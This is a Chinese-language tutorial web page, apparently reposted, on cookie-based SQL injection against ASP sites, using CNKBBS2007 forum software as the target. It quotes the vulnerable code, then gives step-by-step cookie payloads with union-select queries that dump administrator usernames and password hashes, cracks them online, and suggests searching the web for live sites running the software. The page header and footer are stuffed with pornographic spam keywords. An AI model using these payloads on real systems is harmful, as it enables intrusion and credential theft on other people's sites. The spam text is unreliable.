精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全教程 查看內(nèi)容

分析cookies的注入方法和原理

2022-9-24 10:22| 查看: 2162 |來源: 互聯(lián)網(wǎng)

現(xiàn)在很多網(wǎng)站都采用了通用防注入程序,那么對于這種網(wǎng)站,我門是否就束手無策了呢?答案是否定的,因?yàn)槲覀兛梢圆捎胏ookie 注入的方法,而很多通用防注入程序?qū)?...

現(xiàn)在很多網(wǎng)站都采用了通用防注入程序,那么對于這種網(wǎng)站,我門是否就束手無策了呢?答案是否定的,因?yàn)槲覀兛梢圆捎胏ookie 注入的方法,而很多通用防注入程序?qū)@種注入方式都沒有防備。 在講之前,我們還是來回顧下ASP腳本中Request對象的知識吧,上面幾講中都提到Request對象獲取客戶端提交數(shù)據(jù)常用的是GET和POST二種方式,同時request對象可以不通過集合來獲得數(shù)據(jù),即直接使用"request("name")"但它的效率低下,容易出錯,當(dāng)我們省略具體的集合名稱時,ASP是按QueryString,from,cookie,servervariable,集合的順序來搜索的,在request對象成員中集合cookies,它的意思是"讀取用戶系統(tǒng)發(fā)送的所有cookie值,我們從第二講關(guān)于"cookies欺騙入侵和原理"中知道,cookies是保存在客戶端計(jì)算機(jī)的一個文本文件,可以進(jìn)行修改,這樣一來,我們就可以使用Request.cookie方式來提交變量的值,從而利用系統(tǒng)的漏洞進(jìn)行注入攻擊. 我們首先還是來看看中網(wǎng)景論壇的最新版本"(CNKBBS2007)中網(wǎng)景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發(fā)布時間是2007-06-06,打開系統(tǒng)的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼:


(調(diào)用opendb.asp文件)


<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (獲取客戶提交的變量,并賦值給id,并沒過濾,也沒有指定采用那種方式提交)
if id<>"" then Call IsNum(bid) (這是程序員的出現(xiàn)地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設(shè)置已讀
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 我們再打開"opendb.asp"文件 <%Option Explicit
Response.Buffer = true%>

(調(diào)用fzr.asp文件)



..................
以現(xiàn)它是連接數(shù)據(jù)庫的文件,其中調(diào)用了fzr.asp文件,我們再打開fzr.asp文件
<%
'--------版權(quán)說明------------------
'SQL通用防注入程序
'Aseanleung
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (對Request.QueryString提交(客戶采用GET方式提交)的數(shù)據(jù)進(jìn)行判斷,并沒有指明對其它方式提交的數(shù)據(jù)進(jìn)行判斷)
'自定義需要過濾的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的語句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "內(nèi)容含有非法字符!請不要有'或and或or等字符,請去掉這些字符再發(fā)!!
"
Response.Write "如是要攻擊網(wǎng)站,系統(tǒng)記錄了你的操作↓
"
Response.Write "操作IP:"&zruserip&"
"
Response.Write "操作時間:"&Now&"
"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交參數(shù):"&Fy_Get&"
"
Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
......................
很明顯的看出它是一個SQL通用防注入程序文件,(以上的紅字是對代碼的解釋) 代碼看好了,我們來整理下思路:由于程序員的出錯,導(dǎo)致了id沒有被過濾就被帶到SQL語句中查詢,這是注入漏洞產(chǎn)生的原因,雖然程序引入了防注入程序,阻止了常用的SQL語句使用,但只對客戶采用GET方式提交的數(shù)據(jù)進(jìn)行判斷,而沒有對其它方式提交的數(shù)據(jù)進(jìn)行判斷,這樣導(dǎo)致了客戶可以使用Request.cookie方式來提交變量的值,而繞過了SQL防注入程序(總結(jié)下:cookie注入產(chǎn)生的條件:系統(tǒng)直接使用"request("name")"獲取客戶提交的數(shù)據(jù),并對客戶提交的變量沒有過濾,而且在防注入程序中沒有限制Request.cookie,現(xiàn)在防注入程序3.0只是對客戶采用GET和POST提交方式進(jìn)行了限制). 原理講好了,下面我們來學(xué)學(xué)coolie注入語句吧 cookies的注入語句:alert(document.cookie="id=" escape("這就是asp? id=xx后面xx代表的數(shù)值) and (這里是注入攻擊代碼)")); 這兒用到了javascript語言的知識,我把這語句的意思分解如下,以便大家理解: 1:"alert()"顯示信息對話框的alert()方法,它生成的是一個獨(dú)立的小窗口,稱作對話框,用來顯示一條信息和一個按鈕.(我們在跨站中常用到) 2:"document.cookie"我們在處理cookie時,javascript將它保存為document對象的一個屬性,其屬性名稱是cookie,利用這個屬性,我們可以創(chuàng)建和讀取cookie數(shù)據(jù),在程序中可以使用:"alert(document.cookie)"調(diào)用當(dāng)前頁面的cookie數(shù)據(jù)項(xiàng)值.在我們啟動瀏覽器打開頁面后,如果存在相應(yīng)的cookie,那么它被裝入到document對象的cookie屬性中,document.cookie屬性采用name=value對應(yīng)方式保存各個cookie數(shù)據(jù)項(xiàng)值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數(shù)據(jù)),cookie屬性是允許讀寫HTTP的cookie;字符串類型 4:escape()函數(shù);它將字符串中所有的非字母字符轉(zhuǎn)換為用字母數(shù)字表示的等價(jià)字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務(wù)器端的程序通過HTTP請求和響應(yīng)頭發(fā)送給瀏覽器,但是,利用javascript,可以在本地瀏覽器中設(shè)置cookie格式:name=value的屬性是指定cookie數(shù)據(jù)項(xiàng)的名稱,value是該名稱對應(yīng)的值,它是一個字符串,也可是由一系列字符組成,name和value中不能包含分號,逗號及空白,(50"and 1=1")有分號,逗號及空白,所以我們要用到escape()函數(shù)對他們進(jìn)行編碼 上面整句的意思大家都明白了吧,就是設(shè)置調(diào)用當(dāng)前創(chuàng)建的cookie數(shù)據(jù)項(xiàng)值,在設(shè)置cookie時,它們首先保存在瀏覽器的內(nèi)存中,退出瀏覽器時,才能被寫入到硬盤中.(這就是在下面操作中為什么在退出后,再輸入鏈接的地址原因) 最后我們來測試下,利用步驟: 1:打開在本地機(jī)子上架設(shè)的中網(wǎng)景論壇:注冊一個用戶,我們就會收到管理員發(fā)來的一條短信息,我們打開短信息的鏈接(注意這兒的參數(shù)id值) 2:把瀏覽器的URL清空,輸入"alert(document.cookie="id=" escape("相應(yīng)參數(shù)id值 and 1=1"));之后會彈出一個框框, 3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁面,說明我們繞過了SQL防注入程序了) 3:再輸入:alert(document.cookie="id=" escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時間和內(nèi)容都沒有顯示了,說明我們可以進(jìn)行注入了) 4:通過查看系統(tǒng)數(shù)據(jù)庫,得知cnk_users_RxMsg 表里有8個字段,Cnk_Admin表是存放管理員資料的,其中AdminName,AdminPassword字段分別對應(yīng)的是賬號和密碼,我們使用聯(lián)合查詢語句,再輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址欄清空,輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可經(jīng)看到顯示了數(shù)字4和5 5:再次把地址欄清空,輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址欄,輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員,這樣我們就在頁面上看到管理員的密碼和賬號了 6:把得到的密碼放入http://www.cmd5.com網(wǎng)站查詢,得知管理員的明文密碼是admin,在網(wǎng)站的首頁我們就可進(jìn)行登錄后臺了,我們也可利用關(guān)鍵字"Powered by CNKBBS2007 (5.2)"去網(wǎng)上找使用這系統(tǒng)的網(wǎng)站,(不過不是很多啊)大家去練習(xí)下手工的注入吧,可別搞在破壞喲!不過在使用這類注入時,它需要兩次手動操作才能完成,這也是容易出錯的地方,可要細(xì)心才行.

本文最后更新于 2022-9-24 10:22,某些文章具有時效性,若有錯誤或已失效,請?jiān)诰W(wǎng)站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 九九草在线观看 | 九九在线精品视频xxx | 夜色亚洲 | 99久久国产综合精品成人影院 | 全黄一级裸片视频在线观看 | 久久永久免费视频 | 特黄aa级毛片免费视频播放 | 国产视频福利 | 亚洲精品一区二区久久这里 | 人交性视频大全 | 91av成年影院在线播放 | 在线观看一区二区三区四区 | 国产理论视频在线观看 | 国产欧美久久一区二区 | 6080yy 久久 亚洲 日本不卡 | 免费国产草莓视频在线观看黄 | 黄色片中文 | 亚洲国产精品一区二区三区在线观看 | 国产精品大白天新婚身材 | 国产影片在线观看 | 欧美一级二级毛片视频 | 国产精品99精品久久免费 | 国产精品视频人人做人人爱 | 老年人一级特黄aa大片 | 免费影院入口地址大全 | 亚洲人欧洲日韩 | 成人看片毛片免费播放器 | 日韩久久精品视频 | 高清欧美一区二区三区 | 看真人视频a级毛片 | 国精品在亚洲_欧美 | 日本一线一区二区三区免费视频 | 久99久女女精品免费观看69堂 | www.精品| 成人a级特黄毛片 | 日韩亚洲欧美性感视频影片免费看 | 丝袜超薄交口足456免费视频 | 久久97超级碰碰碰 | 91这里只有精品 | 高清欧美日韩一区二区三区在线观看 | 4444在线观看片 |